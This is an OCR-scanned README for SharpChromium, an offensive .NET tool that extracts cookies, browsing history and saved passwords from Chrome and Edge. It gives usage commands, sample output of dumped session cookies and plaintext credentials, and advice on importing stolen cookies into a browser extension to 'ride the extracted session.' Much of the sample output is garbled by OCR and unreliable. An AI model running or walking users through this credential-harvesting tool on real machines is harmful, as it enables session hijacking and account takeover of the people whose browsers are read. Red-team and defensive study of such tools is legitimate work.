SharpChromium

Introduction

SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft Edge, and

Microsoft Edge Beta. Currently, it can extract:

« Cookies (in JSON format)
+ History (with associated cookies for each history item)

+ Saved Logins

Note: All cookies returned are in JSON format. If you have the extension Cookie Editor installed, you

can simply copy and paste into the “Import” seciton of this browser addon to ride the extracted ses-

sion.

Advantages

This rewrite has several advantages to previous implementations, which include:

No Type compilation or reflection required

Cookies are displayed in JSON format, for easy importing into Cookie Editor.
No downloading SQLite assemblies from remote resources.

Supports major Chromium browsers (but extendable to others)

.\SharpChromium.exe arg0d [argl arg2 ...]

Usage
Usage:
Arguments:
all - Retrieve
full - The same
logins - Retrieve
passwords.
history - Retrieve
URL was
visited,

cookies [domainl.com
JSON format.

all Chromium Cookies, History and Logins.
as 'all'
all saved credentials that have non-empty

user's history with a count of each time the

along with cookies matching those items.
domain2.com] - Retrieve the user's cookies 1in

If domains are passed, then
return only

cookies matching those domains.
Otherwise,



https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm
https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm

all cookies are saved into a
temp file of

the format ""%TEMP%\Sbrowser-
cookies.json""

Examples

Retrieve cookies associated with Google Docs and Github
.\SharpChromium.exe cookies docs.google.com github.com

C:wUzerss<Duwights\Desktop’ . “SharpChrome .exe cookiesz github.com

=== Chrome (Current Userd ===
—— Chrome Cookie <User: Dwight) ——
Domain : github.com
CJS0ONY @ [{"domain": “github.con", "expirationDate': 1817923783, "hostOn
falze,., "httpOnly': true,. "name’': "__Host—user_session_same_site',. "path': °
"sameZSite': “no_restriction',. “secure': true, “sesszion': false., “storeld':
Ilualllell: ir :ll’ Ilidll: 1};{":1“'“
"github.com", "expirationDate': 1817923635, "hostOnly': false. “"httpOnly'':
"name"': "wser_sesszion',. "path': /", "sameSite": “no_restriction'. “secure
"seszion'": false. “"'storeld': @', "walue':
"o Mid": 2 . "domain": “.github.com", “expirationDate': —12
21273024, "hostOnly': false,. "httpOnly': false,. "name’: "_ga',. "path': "/, "za
efite': “no_restriction',. "secuwre': false, 'session': false, “storeld': “@", "w

lue': "GA1.2.2057192312 1526681851, "id": 3. {"domain": ".github.com'. "expirat
ionDate': —1364531264, "hostOnly': false. "httpOnly'': false. "name': "_gat".

th': /", "szamefite': “no_wrestriction’. "“secure': falsze, “sesszion": false.
eld": "@", "walue'': i 4% A "domain": ".github.com", "expirationDat
3A8E52864, "hostOnly 'httpOnly': false, "name': “_octo",. “path':

i : "no_restriction', "secure': false,., "sesszion': false, "storeld’

"GH1.1.1567514518.15%26681851", "id": 5>, {"domain": “.github.com".

rationDate': —-130606168,. "hostOnly': falsze. "httpOnly': true. "name’:

"path': """, "sameSite': "no_restrictinn', "secure': true. "session false
. "storeld": @, "walue': "protonmail ", Mid": 6¥ .4 "domain": “.github.co
", "expirationDate': —138686281, "hostOnly': false, "httpOnly': true, "name’': "
ogged_in'',. "“path" ', "zameSit "no_restriction', "secure': true,. 'seszion':
false,. “"storeld"': @', "walue': " ids P 1

C:slUserssDuwightsDesktop*

Retrieve history items and their associated cookies.

.\SharpChromium.exe history




—— Chrome History {User: Duwight> ——

RL : https:=//login.live.com/login.srf?wa=wsigninl .B&rpsnu=138ct=15329
289238k rver=6.7.6648.Afup=MBI _S5L&wreply=httpsx3ax2f«2foutlook.live.com<2fowax2f
[Ffnlpx3dix26RpsCesrfStatex3df%ei2af2—ed3f—Yeeb—fhd3-5d95f1805h2ckid=292841 &CBCKT =
out&lu=1&Ff 1=dobx2cf lname*2cwld&cobrandid=0015

itle Sign in to your Microsoft account

izit Count

ookies [{"domain: ".login.live.com", "expirationDate': —14995296839.
pzt0Only*: false, "httpOnly': true,. 'name*: "MSEPCIDY,. *path': "/, "sameSite':

restriction', "secure": true,. "session": false, "storeld": @, "walue':
Yo Mid": 1Y . {"domain": ".login.live.com", "expirationDate':

"hostOnly": false, "httpOnly': falsze,., "name™: "MEPPre*. '

: "no_restriction', "secure": true,. "session false.

"sharpedgedemo@ 167d1bBf c 2895523111 "id'": 22 . {"domain
"expirationDa —1497952848%, "hostOnly”: falsze, "httpOnly': true.
"SDIDCY,. "path': » "sameSite": "no_restriction',. “secure': true, "ses=zi

falze. "“"storeld': "B". "walue': "

Yoo MidY: 33 .4 "domain"': ".lugin.liue.cnm",

T —1499528997. "huatﬂnly"' falae, "httpOnly*': Falae, "name "' =
"ﬂameSlte"' "no_restriction',. "secure': true. "session'':
g » "walue'': Pedtype=1&act=[1]", "id": 4} _{"domain": “_live.com". 1]
rationDate': 1929282194, "hostOnly": False,. "httpOnly': false. “name'': "AMON"' .
et "“ameﬂlte"' "no_restriction”. "secure': falze, "sesszion': false.
"walue: "A=2647E8CY ‘BE=15818&W=1", "id":
'.llue com "explratlunﬂate": —14YY388342,. "hostOnly': false.
1ly": false,. "name': “"MH". ""path'": “"_. "sameSite": "no_restriction",. "secur
"session': false. "storeld": "@. "walue': "MSFT'. "id": 6}.{"domain':
" "explratlunDate"' —891565496,. "hostOnly"': falﬂe, "httpOnly'': false.
"HAP'',. “path': sV, °ameSlte"' “"no_restriction', "secure': false, "sessi
falze, “storeld': “@", "walue': "U=1.9&E=15%27&C=
oo MidY: P . {"domain": “.live.com',. explratlunﬂa
e': 3841126851, "hostOnly": false, "httpOnly': true. name"' "mkt', “path': "',
"sameSite": “no_restriction", “szecure': true, "session': false, 'storeld': @',
"walue': “en—-US"Y,. "id": 8> _ {"domain'': " 11ue cum", "expirationDate': —211994528
“hostOnly": falae, "httpﬂnly"' falze, "name': uptlmlhelyEndUserld", "path®':
": "no pestriction'. "secure': false. "szession': false. “'storeld':
.74717571947568@1" id': 931

Retrieve saved logins (Note: Only displays those with non-empty passwords):

.\SharpChromium.exe logins
slzerssDuightsDesktopr . sSharpChrome .exe logins

=== Chrome {Current Userd ===
Credential <User: Dwight) ——
https:/sgithub.comnssession
testBtest.com
test

Credential <User: Dwight> ——
https:s7hithucket .orgsaccountssignin/s
SEFNname test
assword test

Credential <User: Dwight) ——
https:rsgithub.comssession
protonmaill234se2

Password Sup3rS3ICRITpESSwABBE0d




Notes on the SQLite Parser

The SQLite database parser is slightly bugged. This is due to the fact that the parser correctly detects
data blobs as type System.Byte[], but it does not correctly detect columns of type System.Byte[]. As a
result, the byte arrays get cast to the string literal “System.Byte[]”, which is wrong. | haven’t gotten to
the root of this cause, but as a quick and dirty workaround | have encoded all blob values as Base64
strings. Thus if you wish to retrieve a value from a column whose regular data values would be a byte
array, you’ll need to Base64 decode them first.

Special Thanks

A large thanks to @plainprogrammer for their C#-SQLite project which allowed for native parsing of
the SQLite files without having to reflectively load a DLL. Without their work this project would be
nowhere nearas clean asitis. That project can be found here: https://github.com/plainprogrammer/csharp-

sqlite

Thanks to @gentlekiwi whose work on Mimikatz guided the rewrite for the decryption schema in
v80+

Thanks to @harmj0Oy who carved out the requisite PInvoke BCrypt code so | could remove additional
dependencies from this project, making it light-weight again.
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